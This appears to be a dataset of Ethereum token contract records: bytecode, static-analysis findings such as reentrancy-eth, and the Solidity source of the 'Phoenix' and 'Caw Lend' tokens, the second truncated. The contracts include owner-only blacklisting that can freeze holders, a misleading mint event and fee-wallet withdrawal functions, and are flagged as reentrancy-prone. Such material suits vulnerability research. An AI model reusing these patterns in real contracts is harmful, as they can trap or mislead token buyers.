00000000000000000000000000602082015250565b600061362f602383612dc0565b915061363a826135d3565b604082019050919050565b6000602082019050818103600083015261365e81613622565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136c1602983612dc0565b91506136cc82613665565b604082019050919050565b600060208201905081810360008301526136f0816136b4565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613753603f83612dc0565b915061375e826136f7565b604082019050919050565b6000602082019050818103600083015261378281613746565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006137bf601c83612dc0565b91506137ca82613789565b602082019050919050565b600060208201905081810360008301526137ee816137b2565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613851602383612dc0565b915061385c826137f5565b604082019050919050565b6000602082019050818103600083015261388081613844565b9050919050565b600061389282612e5f565b915061389d83612e5f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138d2576138d1613313565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613939602383612dc0565b9150613944826138dd565b604082019050919050565b600060208201905081810360008301526139688161392c565b9050919050565b600061397a82612e5f565b915061398583612e5f565b92508282101561399857613997613313565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006139ff602a83612dc0565b9150613a0a826139a3565b604082019050919050565b60006020820190508181036000830152613a2e816139f2565b9050919050565b600081519050613a4481612ca9565b92915050565b600060208284031215613a6057613a5f612bab565b5b6000613a6e84828501613a35565b91505092915050565b6000819050919050565b6000613a9c613a97613a9284613a77565b612f0b565b612e5f565b9050919050565b613aac81613a81565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613ae781612c97565b82525050565b6000613af98383613ade565b60208301905092915050565b6000602082019050919050565b6000613b1d82613ab2565b613b278185613abd565b9350613b3283613ace565b8060005b83811015613b63578151613b4a8882613aed565b9750613b5583613b05565b925050600181019050613b36565b5085935050505092915050565b600060a082019050613b856000830188612f85565b613b926020830187613aa3565b8181036040830152613ba48186613b12565b9050613bb36060830185613039565b613bc06080830184612f85565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613c0482612e5f565b9150613c0f83612e5f565b925082613c1f57613c1e613bca565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c60601b83612dc0565b9150613c6b82613c2a565b602082019050919050565b60006020820190508181036000830152613c8f81613c53565b9050919050565b6000613ca182612e5f565b9150613cac83612e5f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ce557613ce4613313565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d4c602183612dc0565b9150613d5782613cf0565b604082019050919050565b60006020820190508181036000830152613d7b81613d3f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205cae474296bcbffd9328569129d36149688bfa21eba8a0496db73a0b807e109c64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,355 |
0x3d695ccdbf75061306186e2203f1caa832c6f7d2
|
/**
*Submitted for verification at Etherscan.io on 2021-09-25
*/
// SPDX-License-Identifier: Unlicensed
//telegram @Phoenixeth
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Phoenix is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private setTax;
uint256 private setRedis;
address payable private _feeAddrWallet1;
string private constant _name = "Phoenix";
string private constant _symbol = "Phx";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xbb430ad258B59dC15d828e4e317587b7FFDBC989);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0), _feeAddrWallet1, _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_feeAddr1 = setRedis;
_feeAddr2 = setTax;
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > _tTotal/1000){
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 100000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
}
_tokenTransfer(from,to,amount);
}
function liftMaxTrnx() external onlyOwner{
_maxTxAmount = _tTotal;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
setTax = 10;
setRedis = 1;
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal/100*5;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function blacklist(address _address) external onlyOwner{
bots[_address] = true;
}
function removeBlacklist(address notbot) external onlyOwner{
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd80146102e1578063c9567bf9146102f6578063dd62ed3e1461030b578063eb91e65114610351578063f9f92be41461037157600080fd5b8063715018a6146102585780638da5cb5b1461026d57806395d89b4114610295578063a9059cbb146102c157600080fd5b8063313ce567116100dc578063313ce567146101d057806335ffbc47146101ec5780635932ead1146102035780636fc3eaec1461022357806370a082311461023857600080fd5b806306fdde0314610119578063095ea7b31461015b57806318160ddd1461018b57806323b872dd146101b057600080fd5b3661011457005b600080fd5b34801561012557600080fd5b506040805180820190915260078152660a0d0decadcd2f60cb1b60208201525b60405161015291906114c4565b60405180910390f35b34801561016757600080fd5b5061017b610176366004611430565b610391565b6040519015158152602001610152565b34801561019757600080fd5b5067016345785d8a00005b604051908152602001610152565b3480156101bc57600080fd5b5061017b6101cb3660046113ef565b6103a8565b3480156101dc57600080fd5b5060405160098152602001610152565b3480156101f857600080fd5b50610201610411565b005b34801561020f57600080fd5b5061020161021e36600461145c565b610452565b34801561022f57600080fd5b5061020161049a565b34801561024457600080fd5b506101a261025336600461137c565b6104c7565b34801561026457600080fd5b506102016104e9565b34801561027957600080fd5b506000546040516001600160a01b039091168152602001610152565b3480156102a157600080fd5b506040805180820190915260038152620a0d0f60eb1b6020820152610145565b3480156102cd57600080fd5b5061017b6102dc366004611430565b61055d565b3480156102ed57600080fd5b5061020161056a565b34801561030257600080fd5b506102016105a0565b34801561031757600080fd5b506101a26103263660046113b6565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561035d57600080fd5b5061020161036c36600461137c565b610994565b34801561037d57600080fd5b5061020161038c36600461137c565b6109df565b600061039e338484610a2d565b5060015b92915050565b60006103b5848484610b51565b61040784336104028560405180606001604052806028815260200161167f602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610c96565b610a2d565b5060019392505050565b6000546001600160a01b031633146104445760405162461bcd60e51b815260040161043b90611519565b60405180910390fd5b67016345785d8a0000601155565b6000546001600160a01b0316331461047c5760405162461bcd60e51b815260040161043b90611519565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b0316146104ba57600080fd5b476104c481610cd0565b50565b6001600160a01b0381166000908152600260205260408120546103a290610d0a565b6000546001600160a01b031633146105135760405162461bcd60e51b815260040161043b90611519565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061039e338484610b51565b600e546001600160a01b0316336001600160a01b03161461058a57600080fd5b6000610595306104c7565b90506104c481610d8e565b6000546001600160a01b031633146105ca5760405162461bcd60e51b815260040161043b90611519565b601054600160a01b900460ff16156106245760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161043b565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610660308267016345785d8a0000610a2d565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561069957600080fd5b505afa1580156106ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d19190611399565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561071957600080fd5b505afa15801561072d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107519190611399565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561079957600080fd5b505af11580156107ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d19190611399565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d7194730610801816104c7565b6000806108166000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561087957600080fd5b505af115801561088d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108b29190611496565b5050600a600c55506001600d556010805461ffff60b01b191661010160b01b1790556108e7606467016345785d8a00006115d7565b6108f29060056115f9565b60115560108054600160a01b60ff60a01b19821617909155600f5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b15801561095857600080fd5b505af115801561096c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109909190611479565b5050565b6000546001600160a01b031633146109be5760405162461bcd60e51b815260040161043b90611519565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b03163314610a095760405162461bcd60e51b815260040161043b90611519565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b038316610a8f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161043b565b6001600160a01b038216610af05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161043b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610bb35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161043b565b6001600160a01b03831660009081526006602052604090205460ff1615610bd957600080fd5b6001600160a01b0383163014610c8657600d54600a55600c54600b556000610c00306104c7565b9050610c166103e867016345785d8a00006115d7565b811115610c8457601054600160a81b900460ff16158015610c4557506010546001600160a01b03858116911614155b8015610c5a5750601054600160b01b900460ff165b15610c8457610c6881610d8e565b4767016345785d8a0000811115610c8257610c8247610cd0565b505b505b610c91838383610f17565b505050565b60008184841115610cba5760405162461bcd60e51b815260040161043b91906114c4565b506000610cc78486611618565b95945050505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610990573d6000803e3d6000fd5b6000600854821115610d715760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161043b565b6000610d7b610f22565b9050610d878382610f45565b9392505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610dd657610dd6611645565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610e2a57600080fd5b505afa158015610e3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e629190611399565b81600181518110610e7557610e75611645565b6001600160a01b039283166020918202929092010152600f54610e9b9130911684610a2d565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ed490859060009086903090429060040161154e565b600060405180830381600087803b158015610eee57600080fd5b505af1158015610f02573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b610c91838383610f87565b6000806000610f2f61107e565b9092509050610f3e8282610f45565b9250505090565b6000610d8783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110be565b600080600080600080610f99876110ec565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610fcb9087611149565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610ffa908661118b565b6001600160a01b03891660009081526002602052604090205561101c816111ea565b6110268483611234565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161106b91815260200190565b60405180910390a3505050505050505050565b600854600090819067016345785d8a00006110998282610f45565b8210156110b55750506008549267016345785d8a000092509050565b90939092509050565b600081836110df5760405162461bcd60e51b815260040161043b91906114c4565b506000610cc784866115d7565b60008060008060008060008060006111098a600a54600b54611258565b9250925092506000611119610f22565b9050600080600061112c8e8787876112ad565b919e509c509a509598509396509194505050505091939550919395565b6000610d8783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c96565b60008061119883856115bf565b905083811015610d875760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161043b565b60006111f4610f22565b9050600061120283836112fd565b3060009081526002602052604090205490915061121f908261118b565b30600090815260026020526040902055505050565b6008546112419083611149565b600855600954611251908261118b565b6009555050565b6000808080611272606461126c89896112fd565b90610f45565b90506000611285606461126c8a896112fd565b9050600061129d826112978b86611149565b90611149565b9992985090965090945050505050565b60008080806112bc88866112fd565b905060006112ca88876112fd565b905060006112d888886112fd565b905060006112ea826112978686611149565b939b939a50919850919650505050505050565b60008261130c575060006103a2565b600061131883856115f9565b90508261132585836115d7565b14610d875760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161043b565b60006020828403121561138e57600080fd5b8135610d878161165b565b6000602082840312156113ab57600080fd5b8151610d878161165b565b600080604083850312156113c957600080fd5b82356113d48161165b565b915060208301356113e48161165b565b809150509250929050565b60008060006060848603121561140457600080fd5b833561140f8161165b565b9250602084013561141f8161165b565b929592945050506040919091013590565b6000806040838503121561144357600080fd5b823561144e8161165b565b946020939093013593505050565b60006020828403121561146e57600080fd5b8135610d8781611670565b60006020828403121561148b57600080fd5b8151610d8781611670565b6000806000606084860312156114ab57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156114f1578581018301518582016040015282016114d5565b81811115611503576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561159e5784516001600160a01b031683529383019391830191600101611579565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156115d2576115d261162f565b500190565b6000826115f457634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156116135761161361162f565b500290565b60008282101561162a5761162a61162f565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146104c457600080fd5b80151581146104c457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220394f5fa2fba21eb8df95ff8e8acd77fb35022a10b647232672d7443fc6e60ba164736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,356 |
0x6cd08119cdced51fe0e12ac7328ed0d5fac7acb9
|
/**
*Submitted for verification at Etherscan.io on 2022-04-17
*/
/**
* Caw Lend
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CawL is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 990000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "Caw Lend";
string private constant _symbol = "CAWL";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x38Eae42c36C862168882d91CE890Da292f8E4592);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 5;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 7;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
